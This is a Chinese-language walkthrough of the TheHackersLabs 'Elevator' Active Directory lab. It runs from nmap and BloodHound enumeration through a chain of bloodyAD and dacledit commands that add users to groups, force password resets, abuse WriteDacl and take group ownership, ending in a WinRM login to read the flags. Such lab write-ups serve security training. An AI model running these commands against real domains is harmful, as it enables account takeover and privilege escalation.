<h1>Elevator</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/126">https://labs.thehackerslabs.com/machine/126</a>
</blockquote>
<img src="/post-images/TheHackersLabsElevator/image.png" alt="image.png">
作者给了一个账户
<pre><code class="hljs language-bash">User john.smith
Password Rk436\#Z4&#x26;
</code></pre>
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ ~ nmap -sP 10.0.250.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 14:20 CST
Nmap scan report for 10.0.250.1
Host is up (0.00072s latency).
MAC Address: 08:00:27:8F:2A:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.250.3
Host is up (0.00057s latency).
MAC Address: 08:00:27:F5:3D:B0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.250.4
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 28.12 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ ~ nmap -sT -min-rate 10000 -p- 10.0.250.3 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 14:21 CST
Strange read error from 10.0.250.3 (104 - 'Connection reset by peer')
Nmap scan report for 10.0.250.3
Host is up (0.00098s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49674/tcp open unknown
49676/tcp open unknown
49680/tcp open unknown
49687/tcp open unknown
49692/tcp open unknown
49711/tcp open unknown
MAC Address: 08:00:27:F5:3D:B0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
</code></pre>
<pre><code class="hljs language-bash">➜ ~ nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 10.0.250.3 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 14:24 CST
Nmap scan report for 10.0.250.3
Host is up (0.00070s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-29 06:24:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bloodhound.thl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bloodhound.thl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
MAC Address: 08:00:27:F5:3D:B0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2016|11|10 (95%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Microsoft Windows Server 2022 (95%), Microsoft Windows Server 2016 (91%), Microsoft Windows 11 21H2 (90%), Microsoft Windows 10 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: ELEVATOR; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -38s
| smb2-time: 
| date: 2025-09-29T06:24:37
|_ start_date: N/A
|_nbstat: NetBIOS name: ELEVATOR, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: 08:00:27:f5:3d:b0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required

TRACEROUTE
HOP RTT ADDRESS
1 0.70 ms 10.0.250.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.85 seconds
</code></pre>
<h3>枚举</h3>
SMB 枚举，下载了一些文件，不过都是没什么用的
<img src="/post-images/TheHackersLabsElevator/image1.png" alt="image.png">
查看一下用户权限
<pre><code class="hljs language-bash">➜ Elevator nxc ldap 10.0.250.3 -u 'john.smith' -p 'Rk436\#Z4&#x26;'
LDAP 10.0.250.3 389 ELEVATOR [*] Windows Server 2022 Build 20348 (name:ELEVATOR) (domain:bloodhound.thl)
LDAP 10.0.250.3 389 ELEVATOR [+] bloodhound.thl\john.smith:Rk436\#Z4&#x26;

➜ Elevator nxc winrm 10.0.250.3 -u 'john.smith' -p 'Rk436\#Z4&#x26;'
WINRM 10.0.250.3 5985 ELEVATOR [*] Windows Server 2022 Build 20348 (name:ELEVATOR) (domain:bloodhound.thl)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
 arc4 = algorithms.ARC4(self._key)
WINRM 10.0.250.3 5985 ELEVATOR [-] bloodhound.thl\john.smith:Rk436\#Z4&#x26; 
</code></pre>
上 <code>bloodhound</code>
<pre><code class="hljs language-bash">➜ Elevator bloodhound-python -d bloodhound.thl -u 'john.smith' -p 'Rk436\#Z4&#x26;' -c all --zip -dc bloodhound.thl -ns 10.0.250.3
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: bloodhound.thl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: bloodhound.thl
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: bloodhound.thl
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: elevator.bloodhound.thl
INFO: Done in 00M 01S
INFO: Compressing output into 20250929144249_bloodhound.zip
</code></pre>
<h2>横向移动</h2>
<h3>ADDSelf</h3>
允许 <code>john.smith</code> 将自己添加到 <code>Finanzas</code> 组中
<img src="/post-images/TheHackersLabsElevator/image2.png" alt="image.png">
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'john.smith' -p 'Rk436\#Z4&#x26;' add groupMember FINANZAS john.smith
[+] john.smith added to FINANZAS
</code></pre>
<h3>Force Change Password</h3>
然后 <code>FINANZAS</code> 组队 <code>MARY.JOHNSON</code> 用户有 <code>GenericAll</code> 权限
<img src="/post-images/TheHackersLabsElevator/image3.png" alt="image.png">
直接修改其密码
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'john.smith' -p 'Rk436\#Z4&#x26;' set password mary.johnson admin12345
[+] Password changed successfully!
</code></pre>
接着 <code>MARY.JOHNSON</code> 又可以修改 <code>ROBERT.WILLIAMS</code> 的密码
<img src="/post-images/TheHackersLabsElevator/image4.png" alt="image.png">
<pre><code class="hljs language-bash">	➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'mary.johnson' -p 'admin12345' set password ROBERT.WILLIAMS admin12345
[+] Password changed successfully!
</code></pre>
<h3>WriteDACL 滥用</h3>
<code>ROBERT.WILLIAMS</code> 拥有对 <code>PATRICIA.BROWN</code> 的 <code>WriteDacl</code> 权限
<img src="/post-images/TheHackersLabsElevator/image5.png" alt="image.png">
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'ROBERT.WILLIAMS' -p 'admin12345' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=bloodhound,DC=thl
permission: WRITE

distinguishedName: CN=Robert Williams,OU=marketing,DC=bloodhound,DC=thl
permission: WRITE

distinguishedName: CN=Patricia Brown,CN=Users,DC=bloodhound,DC=thl
DACL: WRITE
</code></pre>
要将 WriteDacl 滥用到用户对象，您可以授予自己 GenericAll 权限
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'ROBERT.WILLIAMS' -p 'admin12345' add genericAll PATRICIA.BROWN ROBERT.WILLIAMS
[+] ROBERT.WILLIAMS has now GenericAll on PATRICIA.BROWN
</code></pre>
再强制修改其密码
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'ROBERT.WILLIAMS' -p 'admin12345' set password PATRICIA.BROWN admin12345
[+] Password changed successfully!
</code></pre>
<h3>ADDSelf - 2</h3>
用户 <code>PATRICIA.BROWN@BLOODHOUND.THL</code> 有权修改组 <code>OPERACIONES@BLOODHOUND.THL</code> 的所有者
<img src="/post-images/TheHackersLabsElevator/image6.png" alt="image.png">
那么就将其的所有者修改为自己，然后再将自己添加进去
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'PATRICIA.BROWN' -p 'admin12345' set owner OPERACIONES PATRICIA.BROWN
[+] Old owner S-1-5-21-3580157585-956322742-780763674-512 is now replaced by PATRICIA.BROWN on OPERACIONES
</code></pre>
<pre><code class="hljs language-bash">➜ Elevator dacledit.py -action 'write' -rights 'WriteMembers' -principal 'PATRICIA.BROWN' -target-dn 'CN=OPERACIONES,OU=OPERACIONES,DC=BLOODHOUND,DC=THL' 'bloodhound.thl'/'PATRICIA.BROWN':'admin12345'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250929-155416.bak
[*] DACL modified successfully!
</code></pre>
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'PATRICIA.BROWN' -p 'admin12345' add groupMember OPERACIONES PATRICIA.BROWN
[+] PATRICIA.BROWN added to OPERACIONES
</code></pre>
到这里卡住了，因为没有任何路径，SMB 也枚举过了，故查看 WP，发现 <code>OPERACIONES</code> 应该对 Jones 有 <code>genericAll</code> 权限的，但是我这里没有，询问了佬们得知是需要重新导入
<h3>Force Change Password - 2</h3>
重新导入后，可以看到对 <code>Jones</code> 有权限了
<img src="/post-images/TheHackersLabsElevator/image7.png" alt="image.png">
所以是一条路径下来的
<img src="/post-images/TheHackersLabsElevator/image8.png" alt="image.png">
强制修改密码
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'PATRICIA.BROWN' -p 'admin12345' set password MICHAEL.JONES admin12345
[+] Password changed successfully!
</code></pre>
给自己 <code>jones</code> 添加到远程组里
<pre><code class="hljs language-bash">➜ Elevator bloodyAD -d 'bloodhound.thl' --dc-ip 10.0.250.3 -u 'MICHAEL.JONES' -p 'admin12345' add groupMember 'Usuarios de administración remota' MICHAEL.JONES
[+] MICHAEL.JONES added to Usuarios de administración remota
</code></pre>
使用 <code>evil-winrm</code> 进行登录
<img src="/post-images/TheHackersLabsElevator/image9.png" alt="image.png">
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\Users\administrador\desktop> type root.txt
axxxxxxxxxxxxxxxxxxxxxxxxxxx6
*Evil-WinRM* PS C:\Users\administrador\desktop> type user.txt
bxxxxxxxxxxxxxxxxxxxxxxxxxxxe
</code></pre>
<h2>总结</h2>
爽？

Elevator https://labs.thehackerslabs.com/machine/126 作者给了一个账户 Recon PortScan 枚举 SMB 枚举，下载了一些文件，不过都是没什么用的 查看一下用户权限 上 bloodhound 横向移动 ADDSelf 允许 john.sm...

TheHackersLabs - Elevator

TheHackersLabs - THLPWN

念念碎